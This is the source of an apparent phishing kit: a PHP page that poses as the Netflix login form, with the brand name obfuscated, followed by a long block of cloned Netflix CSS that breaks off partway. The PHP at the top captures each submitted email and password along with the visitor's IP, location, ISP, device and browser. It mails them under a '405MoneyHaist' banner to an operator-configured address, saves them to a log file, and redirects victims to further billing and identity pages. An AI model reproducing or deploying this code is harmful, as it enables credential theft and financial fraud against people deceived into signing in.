<?php
session_start();
ob_start();
include 'setup/function.php';
$res = json_decode(file_get_contents('../config/access.json'), true);

$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

if($_SERVER['REQUEST_METHOD'] == 'POST') {
    
    $ipData = fetchIpData($ip, $userAgent);
    if ($ipData) saveIpData($ipData, 'Human Submit Password');
    
    $email = htmlspecialchars($_POST['email']);
    $password = htmlspecialchars($_POST['password']);
    
    $city = $ipData['city'] ?? 'N/A';
    $region = $ipData['region'] ?? 'N/A';
    $country = $ipData['country'] ?? 'N/A';
    $isp = $ipData['isp'] ?? 'N/A';
    $device = getDevice();
    $browser = getBrowser();
    $date_time = date('H:i:s m-d-Y');
    $date_subject = date('D d M Y H:i:s');
    
    $message = ":: 405MoneyHaist ::\n\n";
    $message .= "[#] Email : $email\n"; 
    $message .= "[#] Password : $password\n\n";
    $message .= ":: Victim Information ::\n\n";
    $message .= "[#] Date & Time : $date_time\n";
    $message .= "[#] IP : $ip\n";
    $message .= "[#] ISP : $isp\n";
    $message .= "[#] Device : $device\n";
    $message .= "[#] Browser : $browser\n";
    $message .= "[#] City : $city\n";
    $message .= "[#] Region : $region\n";
    $message .= "[#] Country : $country\n";
    $message .= "[#] User Agent : $userAgent\n";
    $message .= "\n:: 405MoneyHaist ::";
    
    $subject = "405MoneyHaist Sign In Account: $date_subject";
    $headers = 'MIME-Version: 1.0' . "\r\n";
    $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
    $headers = "From: 405MoneyHaist <no-reply@405moneyhaist.com>\r\n";
    mail($res['email_result'], $subject, $message, $headers);
    
    $_SESSION['email'] = $_POST['email'];
    $_SESSION['password'] = $_POST['password'];

    loginAndCardSave($ip, 'login.txt');
    if($dataPage['activity_status'] == 'on')
    {
        if($dataPage['activity_template'] == '1')
        {
            header("Location: activity?ref=".generateRandomString(100));
            ob_flush();
        } else if($dataPage['activity_template'] == '2')
        {
            header("Location: bill-update?ref=".generateRandomString(100));
            ob_flush();
        } else {
            header("Location: locked?ref=".generateRandomString(100));
            ob_flush();
        }
    }
    else
    {
        if($dataPage['billing_template'] == '1')
        {
            header("Location: identity?token=".generateRandomString(100));
            ob_flush(); 
        } else {
            header("Location: address?token=".generateRandomString(100));
            ob_flush();
        }
       
    }
}
?>
<!DOCTYPE html>
<head>
      <title>Ne&#6157;tf&#6157;lix</title>
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1" />
      <meta name="apple-touch-icon" content="assets/netflix-app-icon_152.jpg">
      <link type="text/css" rel="stylesheet" href="assets/awik.css" data-uia="botLink">
      <link rel="shortcut icon" href="assets/nficon2023.ico">
      <link rel="apple-touch-icon" href="assets/nficon2016.png">
    <style>
        body { 
    height: 100%; 
    margin: 0;
} 

html { 
    -webkit-font-smoothing: antialiased; 
    -moz-osx-font-smoothing: grayscale; 
    background: #f3f3f3; 
    color: #333; 
    direction: ltr; 
    font-family: Netflix Sans,Helvetica Neue,Segoe UI,Roboto,Ubuntu,sans-serif; 
    font-size: 16px;
} 

html { 
    height: 100%; 
    margin: 0;
} 

.fa-w8e { 
    background-color: rgb(0,0,0); 
    color: rgb(255,255,255); 
    display: -webkit-box; 
    display: -webkit-flex; 
    display: -ms-flexbox; 
    display: flex; 
    -webkit-flex-direction: column; 
    -ms-flex-direction: column; 
    flex-direction: column; 
    min-height: 100vh; 
    overflow: hidden; 
    position: relative; 
    z-index: 0;
} 

.fa-kqw { 
    display: none; 
    opacity: 0.5; 
    pointer-events: none;
} 

@media screen and (min-width: 600px){ 
  .fa-kqw { 
    background-image: cover; 
    -webkit-background-size: cover; 
    background-size: cover; 
    display: block; 
    height: 100vh; 
    min-height: 100vh; 
    overflow: hidden; 
    position: absolute; 
    width: 100%; 
    z-index: -1;
  } 
}     

.fa-trj { 
    -webkit-box-flex: 1; 
    -webkit-flex-grow: 1; 
    -ms-flex-positive: 1; 
    flex-grow: 1; 
    margin: 0 auto; 
    padding: 0 5%;
} 

@media screen and (min-width: 600px){ 
  .fa-trj { 
    margin-bottom: 50px; 
    max-width: 450px;
  } 
}     

.fa-l6w { 
    background-image: linear-gradient(rgba(0,0,0,0.7) 0%, rgb(0,0,0) 20%); 
    border-top: 1px solid rgba(128,128,128,0.7);
} 

@media screen and (min-width: 600px){ 
  .fa-l6w { 
    border-top: none;
  } 

  .fa-kqw .vlv-tv2  { 
    min-height: 100%; 
    min-width: 100%;
  } 
}     

.fa-oaz { 
    width: inherit; 
    padding-top: 1.5rem; 
    padding-bottom: 1.5rem; 
    margin: auto;
} 

@media all{ 
  .fa-oaz { 
    padding-left: 1.5rem; 
    padding-right: 1.5rem;
  } 
}     

@media (min-width: 600px){ 
  .fa-oaz { 
    padding-left: 2rem; 
    padding-right: 2rem;
  } 
}     

@media (min-width: 960px){ 
  .fa-oaz { 
    padding-left: 2rem; 
    padding-right: 2rem;
  } 
}     

@media (min-width: 1280px){ 
  .fa-oaz { 
    padding-left: 3rem; 
    padding-right: 3rem;
  } 
}     

@media (min-width: 1920px){ 
  .fa-oaz { 
    padding-left: 3rem; 
    padding-right: 3rem;
  } 
}     

@media screen and (min-width: 1280px){ 
  .fa-oaz { 
    max-width: calc(83.33333333333334% - (3rem * 2));
  } 
}     

@media screen and (min-width: 1920px){ 
  .fa-oaz { 
    max-width: calc(66.66666666666666% - (3rem * 2));
  } 
}     

.fa-oaz:after { 
    display: none; 
    border-bottom: none; 
    content: ''; 
    position: absolute; 
    left: 0; 
    right: 0; 
    margin-top: calc(			1.5rem - 0.0625rem		);
} 

.fa-gnx { 
    background-color: rgba(0,0,0,0.7); 
    border-radius: 4px; 
    box-sizing: border-box; 
    display: -webkit-box; 
    display: -webkit-flex; 
    display: -ms-flexbox; 
    display: flex; 
    -webkit-flex-direction: column; 
    -ms-flex-direction: column; 
    flex-direction: column; 
    margin: 0; 
    padding-bottom: 30px; 
    width: 100%;
} 

@media screen and (min-width: 600px){ 
  .fa-gnx { 
    min-height: 707px; 
    padding: 48px 68px;
  } 
}     

.fa-lef { 
    color: rgba(255,255,255,0.7); 
    margin: auto; 
    font-size: 1rem; 
    font-weight: 400;
} 

@media screen and (min-width: 1280px){ 
  .fa-lef { 
    max-width: calc(83.33333333333334% - (3rem * 2));
  } 
}     

@media screen and (min-width: 1920px){ 
  .fa-lef { 
    max-width: calc(66.66666666666666% - (3rem * 2));
  } 
}     

@media all{ 
  .fa-lef { 
    margin-top: 2rem; 
    margin-bottom: 2rem;
  } 
}     

@media (min-width: 600px){ 
  .fa-lef { 
    margin-top: 2rem; 
    margin-bottom: 2rem;
  } 
}     

@media (min-width: 960px){ 
  .fa-lef { 
    margin-top: 4.5rem; 
    margin-bottom: 4.5rem;
  } 
}     

@media (min-width: 1280px){ 
  .fa-lef { 
    margin-top: 4.5rem; 
    margin-bottom: 4.5rem;
  } 
}     

@media (min-width: 1920px){ 
  .fa-lef { 
    margin-top: 4.5rem; 
    margin-bottom: 4.5rem;
  } 
}     

@media all{ 
  .fa-lef { 
    padding-left: 1.5rem; 
    padding-right: 1.5rem;
  } 
}     

@media (min-width: 600px){ 
  .fa-lef { 
    padding-left: 2rem; 
    padding-right: 2rem;
  } 
}     

@media (min-width: 960px){ 
  .fa-lef { 
    padding-left: 2rem; 
    padding-right: 2rem;
  } 
}     

@media (min-width: 1280px){ 
  .fa-lef { 
    padding-left: 3rem; 
    padding-right: 3rem;
  } 
}     

@media (min-width: 1920px){ 
  .fa-lef { 
    padding-left: 3rem; 
    padding-right: 3rem;
  } 
}     

.fa-qkd { 
    box-sizing: border-box; 
    width: 100%; 
    display: inherit; 
    height: auto;
} 

.fa-bz1 { 
    text-align: left;
} 

.fa-grz { 
    display: -webkit-box; 
    display: -webkit-flex; 
    display: -ms-flexbox; 
    display: flex; 
    -webkit-flex-direction: column; 
    -ms-flex-direction: column; 
    flex-direction: column; 
    gap: 16px;
} 

.fa-b7q { 
    display: -webkit-box; 
    display: -webkit-flex; 
    display: -ms-flexbox; 
    display: flex; 
    -webkit-flex-direction: column; 
    -ms-flex-direction: column; 
    flex-direction: column; 
    -webkit-box-flex: 1; 
    -webkit-flex-grow: 1; 
    -ms-flex-positive: 1; 
    flex-grow: 1; 
    -webkit-box-pack: end; 
    -ms-flex-pack: end; 
    -webkit-justify-content: flex-end; 
    justify-content: flex-end; 
    margin-top: 20px;
} 

.fa-kva { 
    box-sizing: border-box; 
    width: 100%; 
    display: inherit; 
    height: auto;
} 

.fa-qkd *  { 
    box-sizing: border-box;
} 

.fa-jcq { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    height: inherit; 
    margin-top: -0.5rem; 
    -webkit-flex-direction: row; 
    -ms-flex-direction: row; 
    flex-direction: row; 
    -webkit-align-items: center; 
    -webkit-box-align: center; 
    -ms-flex-align: center; 
    align-items: center; 
    -webkit-box-pack: justify; 
    -webkit-justify-content: space-between; 
    justify-content: space-between; 
    padding: 0px;
} 

@media all{ 
  .fa-jcq { 
    margin-left: -0.5rem; 
    width: calc(100% + 0.5rem);
  } 
}     

@media (min-width: 600px){ 
  .fa-jcq { 
    margin-left: -0.5rem; 
    width: calc(100% + 0.5rem);
  } 
}     

@media (min-width: 960px){ 
  .fa-jcq { 
    margin-left: -1rem; 
    width: calc(100% + 1rem);
  } 
}     

@media (min-width: 1280px){ 
  .fa-jcq { 
    margin-left: -1rem; 
    width: calc(100% + 1rem);
  } 
}     

@media (min-width: 1920px){ 
  .fa-jcq { 
    margin-left: -1rem; 
    width: calc(100% + 1rem);
  } 
}     

h1 { 
    color: #333; 
    font-size: 1.5em; 
    font-weight: 400; 
    margin: 0 0 .4em;
} 

@media screen and (min-width: 740px){ 
  h1 { 
    font-size: 2.15em; 
    margin: 0 0 .55em;
  } 
}     

.fa-l9i { 
    margin-block-start: 0; 
    margin-block-end: 0; 
    margin: 0; 
    padding: 0; 
    color: rgb(255,255,255); 
    font-size: 2rem; 
    font-weight: 700;
} 

.fa-bz1 h1  { 
    margin-bottom: 28px;
} 

.fa-w7s { 
    display: -webkit-box; 
    display: -webkit-flex; 
    display: -ms-flexbox; 
    display: flex; 
    -webkit-flex-direction: column; 
    -ms-flex-direction: column; 
    flex-direction: column; 
    -webkit-box-flex: 1; 
    -webkit-flex-grow: 1; 
    -ms-flex-positive: 1; 
    flex-grow: 1;
} 

.fa-166 { 
    position: relative; 
    width: 100%;
} 

.fa-tj1 { 
    -webkit-appearance: none; 
    -moz-appearance: none; 
    -ms-appearance: none; 
    appearance: none; 
    background: rgb(229,9,20); 
    border-radius: 0.25rem; 
    border: 0; 
    box-sizing: content-box; 
    color: rgb(255,255,255); 
    cursor: pointer; 
    display: inline; 
    font: inherit; 
    letter-spacing: normal; 
    line-height: 1; 
    margin: 0; 
    padding: 0.375rem 1rem; 
    -webkit-text-decoration: none; 
    text-decoration: none; 
    -webkit-align-items: center; 
    -webkit-box-align: center; 
    -ms-flex-align: center; 
    align-items: center; 
    box-sizing: border-box; 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    font-size: 1rem; 
    font-weight: 500; 
    -webkit-box-pack: center; 
    -ms-flex-pack: center; 
    -webkit-justify-content: center; 
    justify-content: center; 
    -webkit-user-select: none; 
    -moz-user-select: none; 
    -ms-user-select: none; 
    user-select: none; 
    fill: currentColor; 
    position: relative; 
    transition-duration: 250ms; 
    transition-property: background-color,border-color; 
    transition-timing-function: cubic-bezier(0.9, 0, 0.51, 1); 
    vertical-align: text-top; 
    width: 100%; 
    min-height: 2.5rem;
} 

.fa-tj1:after { 
    bottom: 0; 
    left: 0; 
    position: absolute; 
    right: 0; 
    top: 0; 
    -webkit-transition: inherit; 
    transition: inherit; 
    border-style: solid; 
    border-width: 0.0625rem; 
    border-radius: calc(			0.25rem - 0.0625rem		); 
    content: ''; 
    border-color: rgba(0,0,0,0);
} 

.fa-tj1:not([aria-disabled]):hover { 
    border-color: black; 
    background: lightgray;
} 

.fa-tj1:not([aria-disabled]):hover { 
    transition-timing-function: cubic-bezier(0.5, 0, 0.1, 1); 
    background: rgb(193,17,25);
} 

.fa-tj1:not([aria-disabled]):hover:after { 
    border-color: rgba(0,0,0,0);
} 

.fa-xok { 
    margin-block-start: 0; 
    margin-block-end: 0; 
    margin: 0; 
    padding: 0; 
    color: rgba(255,255,255,0.7); 
    font-size: 1rem; 
    font-weight: 400; 
    text-align: center;
} 

.fa-lmx { 
    -webkit-appearance: none; 
    -moz-appearance: none; 
    -ms-appearance: none; 
    appearance: none; 
    background: rgba(128,128,128,0.4); 
    border-radius: 0.25rem; 
    border: 0; 
    box-sizing: content-box; 
    color: rgb(255,255,255); 
    cursor: pointer; 
    display: inline; 
    font: inherit; 
    letter-spacing: normal; 
    line-height: 1; 
    margin: 0; 
    padding: 0.375rem 1rem; 
    -webkit-text-decoration: none; 
    text-decoration: none; 
    -webkit-align-items: center; 
    -webkit-box-align: center; 
    -ms-flex-align: center; 
    align-items: center; 
    box-sizing: border-box; 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    font-size: 1rem; 
    font-weight: 500; 
    -webkit-box-pack: center; 
    -ms-flex-pack: center; 
    -webkit-justify-content: center; 
    justify-content: center; 
    -webkit-user-select: none; 
    -moz-user-select: none; 
    -ms-user-select: none; 
    user-select: none; 
    fill: currentColor; 
    position: relative; 
    transition-duration: 250ms; 
    transition-property: background-color,border-color; 
    transition-timing-function: cubic-bezier(0.9, 0, 0.51, 1); 
    vertical-align: text-top; 
    width: 100%; 
    min-height: 2.5rem;
} 

.fa-lmx:after { 
    bottom: 0; 
    left: 0; 
    position: absolute; 
    right: 0; 
    top: 0; 
    -webkit-transition: inherit; 
    transition: inherit; 
    border-style: solid; 
    border-width: 0.0625rem; 
    border-radius: calc(			0.25rem - 0.0625rem		); 
    content: ''; 
    border-color: rgba(0,0,0,0);
} 

.fa-lmx:not([aria-disabled]):hover { 
    border-color: black; 
    background: lightgray;
} 

.fa-lmx:not([aria-disabled]):hover { 
    transition-timing-function: cubic-bezier(0.5, 0, 0.1, 1); 
    background: rgba(128,128,128,0.3);
} 

.fa-lmx:not([aria-disabled]):hover:after { 
    border-color: rgba(0,0,0,0);
} 

a { 
    color: #0080ff; 
    text-decoration: none;
} 

.fa-ykz { 
    -webkit-appearance: none; 
    -moz-appearance: none; 
    -ms-appearance: none; 
    appearance: none; 
    background: none; 
    border-radius: 0.125rem; 
    border: 0; 
    box-sizing: content-box; 
    color: inherit; 
    cursor: pointer; 
    display: inline; 
    font: inherit; 
    letter-spacing: inherit; 
    line-height: inherit; 
    margin: 0 auto; 
    padding: 0; 
    -webkit-text-decoration: none; 
    text-decoration: none; 
    -webkit-user-select: text; 
    -moz-user-select: text; 
    -ms-user-select: text; 
    user-select: text;
} 

.fa-ykz:visited { 
    color: purple;
} 

.fa-ykz,.fa-ykz:visited { 
    color: rgb(255,255,255);
} 

a:hover { 
    text-decoration: underline;
} 

.fa-ykz:not([aria-disabled]):hover { 
    color: rgba(255,255,255,0.7);
} 

.fa-bdt { 
    display: inline-block;
} 

.fa-tox { 
    margin-block-start: 0; 
    margin-block-end: 0; 
    margin: 0; 
    padding: 0; 
    color: rgba(255,255,255,0.7); 
    font-size: 1rem; 
    font-weight: 400; 
    margin-top: 16px;
} 

.recaptcha-terms-of-csz { 
    position: relative; 
    text-align: left;
} 

.recaptcha-terms-of-csz { 
    color: #8c8c8c; 
    font-size: 13px; 
    margin-top: 11px;
} 

.fa-kva *  { 
    box-sizing: border-box;
} 

.fa-y2v { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: 100%; 
    height: inherit; 
    margin-top: -0px; 
    margin-left: -0px; 
    -webkit-flex-direction: row; 
    -ms-flex-direction: row; 
    flex-direction: row; 
    padding: 0px;
} 

.fa-jcq > *  { 
    margin-top: 0.5rem;
} 

@media all{ 
  .fa-jcq > *  { 
    margin-left: 0.5rem;
  } 
}     

@media (min-width: 600px){ 
  .fa-jcq > *  { 
    margin-left: 0.5rem;
  } 
}     

@media (min-width: 960px){ 
  .fa-jcq > *  { 
    margin-left: 1rem;
  } 
}     

@media (min-width: 1280px){ 
  .fa-jcq > *  { 
    margin-left: 1rem;
  } 
}     

@media (min-width: 1920px){ 
  .fa-jcq > *  { 
    margin-left: 1rem;
  } 
}     

.fa-ens { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    padding: 0px;
} 

@media all{ 
  .fa-ens { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 600px){ 
  .fa-ens { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 960px){ 
  .fa-ens { 
    width: auto; 
    -webkit-flex: 0 0 calc(33.333333333333336% - 1rem); 
    -ms-flex: 0 0 calc(33.333333333333336% - 1rem); 
    flex: 0 0 calc(33.333333333333336% - 1rem);
  } 
}     

@media (min-width: 1280px){ 
  .fa-ens { 
    width: auto; 
    -webkit-flex: 0 0 calc(33.333333333333336% - 1rem); 
    -ms-flex: 0 0 calc(33.333333333333336% - 1rem); 
    flex: 0 0 calc(33.333333333333336% - 1rem);
  } 
}     

@media (min-width: 1920px){ 
  .fa-ens { 
    width: auto; 
    -webkit-flex: 0 0 calc(33.333333333333336% - 1rem); 
    -ms-flex: 0 0 calc(33.333333333333336% - 1rem); 
    flex: 0 0 calc(33.333333333333336% - 1rem);
  } 
}     

.fa-gwq { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    -webkit-box-pack: end; 
    -ms-flex-pack: end; 
    -webkit-justify-content: flex-end; 
    justify-content: flex-end; 
    padding: 0px;
} 

@media all{ 
  .fa-gwq { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 600px){ 
  .fa-gwq { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 960px){ 
  .fa-gwq { 
    width: auto; 
    -webkit-flex: 0 0 calc(66.66666666666667% - 1rem); 
    -ms-flex: 0 0 calc(66.66666666666667% - 1rem); 
    flex: 0 0 calc(66.66666666666667% - 1rem);
  } 
}     

@media (min-width: 1280px){ 
  .fa-gwq { 
    width: auto; 
    -webkit-flex: 0 0 calc(66.66666666666667% - 1rem); 
    -ms-flex: 0 0 calc(66.66666666666667% - 1rem); 
    flex: 0 0 calc(66.66666666666667% - 1rem);
  } 
}     

@media (min-width: 1920px){ 
  .fa-gwq { 
    width: auto; 
    -webkit-flex: 0 0 calc(66.66666666666667% - 1rem); 
    -ms-flex: 0 0 calc(66.66666666666667% - 1rem); 
    flex: 0 0 calc(66.66666666666667% - 1rem);
  } 
}     

.box-ovw { 
    display: inline-block;
} 

.box-ovw { 
    position: relative; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap;
} 

.box-ovw { 
    display: -webkit-box; 
    display: -webkit-flex; 
    display: -ms-flexbox; 
    display: flex;
} 

.box-ovw { 
    font-size: 1rem; 
    font-weight: 400; 
    line-height: 1.5;
} 

.fa-tox a  { 
    color: rgb(255,255,255); 
    font-weight: 500;
} 

.recaptcha-terms-of-use--3oq { 
    opacity: 0; 
    transition: height .5s ease,opacity .5s ease; 
    visibility: hidden;
} 

.fa-y2v > *  { 
    margin-top: 0px; 
    margin-left: 0px;
} 

.fa-8x4 { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    padding: 0px;
} 

@media all{ 
  .fa-8x4 { 
    -webkit-flex: 0 0 100%; 
    -ms-flex: 0 0 100%; 
    flex: 0 0 100%;
  } 
}     

@media (min-width: 600px){ 
  .fa-8x4 { 
    -webkit-flex: 0 0 100%; 
    -ms-flex: 0 0 100%; 
    flex: 0 0 100%;
  } 
}     

@media (min-width: 960px){ 
  .fa-8x4 { 
    -webkit-flex: 0 0 100%; 
    -ms-flex: 0 0 100%; 
    flex: 0 0 100%;
  } 
}     

@media (min-width: 1280px){ 
  .fa-8x4 { 
    -webkit-flex: 0 0 100%; 
    -ms-flex: 0 0 100%; 
    flex: 0 0 100%;
  } 
}     

@media (min-width: 1920px){ 
  .fa-8x4 { 
    -webkit-flex: 0 0 100%; 
    -ms-flex: 0 0 100%; 
    flex: 0 0 100%;
  } 
}     

.fa-fmt { 
    -webkit-appearance: none; 
    -moz-appearance: none; 
    -ms-appearance: none; 
    appearance: none; 
    background: none; 
    border-radius: 0; 
    border: 0; 
    box-sizing: content-box; 
    color: blue; 
    cursor: pointer; 
    display: inline; 
    font: inherit; 
    letter-spacing: inherit; 
    line-height: inherit; 
    margin: 0; 
    padding: 0; 
    -webkit-text-decoration: underline; 
    text-decoration: underline; 
    -webkit-user-select: text; 
    -moz-user-select: text; 
    -ms-user-select: text; 
    user-select: text;
} 

.fa-fmt:visited { 
    color: purple;
} 

.fa-c64 { 
    display: block; 
    -webkit-user-select: none; 
    -moz-user-select: none; 
    -ms-user-select: none; 
    user-select: none;
} 

.fa-njg { 
    -webkit-align-items: center; 
    -webkit-box-align: center; 
    -ms-flex-align: center; 
    align-items: center; 
    color: black; 
    fill: black; 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    font-size: 13px; 
    font-weight: 400; 
    gap: 2px; 
    letter-spacing: normal; 
    line-height: 100%; 
    padding: 2px; 
    position: relative; 
    text-align: left; 
    z-index: 0;
} 

.box-ovw .ea3-pow  { 
    padding: 0;
} 

.box-ovw .ea3-pow  { 
    font-size: inherit; 
    line-height: inherit;
} 

.box-ovw .ea3-pow  { 
    width: 1.125rem; 
    max-height: 1.5em;
} 

.ea3-pow ~ .fa-c64  { 
    display: inline-flex; 
    padding-left: 0.25rem;
} 

.box-ovw .ea3-pow ~ .ea3-w8g  { 
    -webkit-flex: 1 1 0%; 
    -ms-flex: 1 1 0%; 
    flex: 1 1 0%;
} 

.box-ovw .ea3-pow ~ .ea3-w8g  { 
    font-size: inherit; 
    line-height: inherit;
} 

.box-ovw .ea3-pow ~ .ea3-w8g  { 
    padding-left: 0.75rem; 
    color: rgb(255,255,255);
} 

.button-icf { 
    background-color: transparent; 
    border: none; 
    color: #0071eb; 
    cursor: pointer; 
    display: inline; 
    font-family: inherit; 
    font-size: inherit; 
    padding: 0;
} 

.button-icf:hover { 
    text-decoration: underline;
} 

.fa-gdf { 
    margin-bottom: 0.75rem;
} 

.fa-hv4 { 
    margin: 0.75rem 0; 
    width: 100%; 
    font-size: 0.875rem; 
    font-weight: 400;
} 

.fa-gto { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    height: inherit; 
    margin-top: -0.5rem; 
    -webkit-flex-direction: row; 
    -ms-flex-direction: row; 
    flex-direction: row; 
    padding: 0px;
} 

@media all{ 
  .fa-gto { 
    margin-left: -0.5rem; 
    width: calc(100% + 0.5rem);
  } 
}     

@media (min-width: 600px){ 
  .fa-gto { 
    margin-left: -0.5rem; 
    width: calc(100% + 0.5rem);
  } 
}     

@media (min-width: 960px){ 
  .fa-gto { 
    margin-left: -1.5rem; 
    width: calc(100% + 1.5rem);
  } 
}     

@media (min-width: 1280px){ 
  .fa-gto { 
    margin-left: -1.5rem; 
    width: calc(100% + 1.5rem);
  } 
}     

@media (min-width: 1920px){ 
  .fa-gto { 
    margin-left: -1.5rem; 
    width: calc(100% + 1.5rem);
  } 
}     

.default-ltr-cache-1d568uk { 
    width: 9.25rem; 
    height: 2.5rem; 
    color: rgb(229,9,20); 
    fill: currentColor; 
    display: flex;
} 

.fa-5aq { 
    clip: rect(0 0 0 0); 
    -webkit-clip-path: inset(50%); 
    clip-path: inset(50%); 
    height: 1px; 
    overflow: hidden; 
    position: absolute; 
    white-space: nowrap; 
    width: 1px;
} 

.fa-cse { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    height: inherit; 
    margin-top: -0px; 
    -webkit-flex-direction: row; 
    -ms-flex-direction: row; 
    flex-direction: row; 
    -webkit-box-pack: end; 
    -ms-flex-pack: end; 
    -webkit-justify-content: flex-end; 
    justify-content: flex-end; 
    padding: 0px;
} 

@media all{ 
  .fa-cse { 
    margin-left: -0.5rem; 
    width: calc(100% + 0.5rem);
  } 
}     

@media (min-width: 600px){ 
  .fa-cse { 
    margin-left: -0.5rem; 
    width: calc(100% + 0.5rem);
  } 
}     

@media (min-width: 960px){ 
  .fa-cse { 
    margin-left: -1.5rem; 
    width: calc(100% + 1.5rem);
  } 
}     

@media (min-width: 1280px){ 
  .fa-cse { 
    margin-left: -1.5rem; 
    width: calc(100% + 1.5rem);
  } 
}     

@media (min-width: 1920px){ 
  .fa-cse { 
    margin-left: -1.5rem; 
    width: calc(100% + 1.5rem);
  } 
}     

.fa-njg > input  { 
    -webkit-animation: animation-14hycbg; 
    animation: animation-14hycbg; 
    -webkit-appearance: none; 
    -moz-appearance: none; 
    -ms-appearance: none; 
    appearance: none; 
    background: transparent; 
    -webkit-background-clip: padding-box; 
    background-clip: padding-box; 
    border: 0 solid transparent; 
    color: inherit; 
    font: inherit; 
    letter-spacing: inherit; 
    line-height: inherit; 
    margin: 0; 
    min-width: 15px; 
    min-height: 15px; 
    padding: 0; 
    text-align: inherit; 
    -webkit-text-decoration: inherit; 
    text-decoration: inherit; 
    text-transform: inherit;
} 

.fa-29o { 
    color: transparent; 
    position: absolute; 
    display: -webkit-box; 
    display: -webkit-flex; 
    display: -ms-flexbox; 
    display: flex; 
    -webkit-align-items: center; 
    -webkit-box-align: center; 
    -ms-flex-align: center; 
    align-items: center; 
    -webkit-box-pack: center; 
    -ms-flex-pack: center; 
    -webkit-justify-content: center; 
    justify-content: center; 
    left: 0; 
    top: 0; 
    right: 0; 
    bottom: 0; 
    z-index: -1; 
    background: white; 
    border-radius: 2px; 
    border: 1px solid black; 
    -webkit-user-select: none; 
    -moz-user-select: none; 
    -ms-user-select: none; 
    user-select: none;
} 

.fa-166 input[name="password"]  { 
    margin-right: 0px;
} 
 

.box-ovw .ea3-pow > input[type="checkbox"]  { 
    min-height: 10px; 
    min-width: 10px;
} 

.box-ovw .ea3-pow > input[type="checkbox"]  { 
    cursor: pointer; 
    position: absolute;
} 

.box-ovw .ea3-pow > input[type="checkbox"]  { 
    border-radius: 0.125rem; 
    height: 2.75rem; 
    left: calc((2.75rem - 1.125rem) / -2); 
    width: 2.75rem;
} 

.box-ovw input[type="checkbox"] ~ .ea3-h5a  { 
    border-style: solid;
} 

.box-ovw input[type="checkbox"] ~ .ea3-h5a  { 
    bottom: auto; 
    box-sizing: border-box; 
    color: transparent; 
    top: auto; 
    transition-duration: 250ms; 
    transition-property: background-color,border-color,border-width,color; 
    transition-timing-function: cubic-bezier(0.5, 0, 0.1, 1); 
    width: inherit;
} 

.box-ovw input[type="checkbox"] ~ .ea3-h5a  { 
    background-color: rgb(0,0,0); 
    border-radius: 0.125rem; 
    border-width: 0.0625rem; 
    height: 1.125rem; 
    border-color: rgba(128,128,128,0.7);
} 

.box-ovw input[type="checkbox"]:checked ~ .ea3-h5a  { 
    color: inherit; 
    font-size: 13px;
} 

.box-ovw input[type="checkbox"]:checked ~ .ea3-h5a  { 
    transition-timing-function: cubic-bezier(0.9, 0, 0.51, 1);
} 

.box-ovw input[type="checkbox"]:checked ~ .ea3-h5a  { 
    border-width: 0rem; 
    color: rgb(0,0,0); 
    background-color: rgb(255,255,255); 
    border-color: rgba(0,0,0,0);
} 

.fa-lef a  { 
    color: rgba(255,255,255,0.7); 
    border-radius: 0.125rem;
} 

.fa-gto > *  { 
    margin-top: 0.5rem;
} 

@media all{ 
  .fa-gto > *  { 
    margin-left: 0.5rem;
  } 
}     

@media (min-width: 600px){ 
  .fa-gto > *  { 
    margin-left: 0.5rem;
  } 
}     

@media (min-width: 960px){ 
  .fa-gto > *  { 
    margin-left: 1.5rem;
  } 
}     

@media (min-width: 1280px){ 
  .fa-gto > *  { 
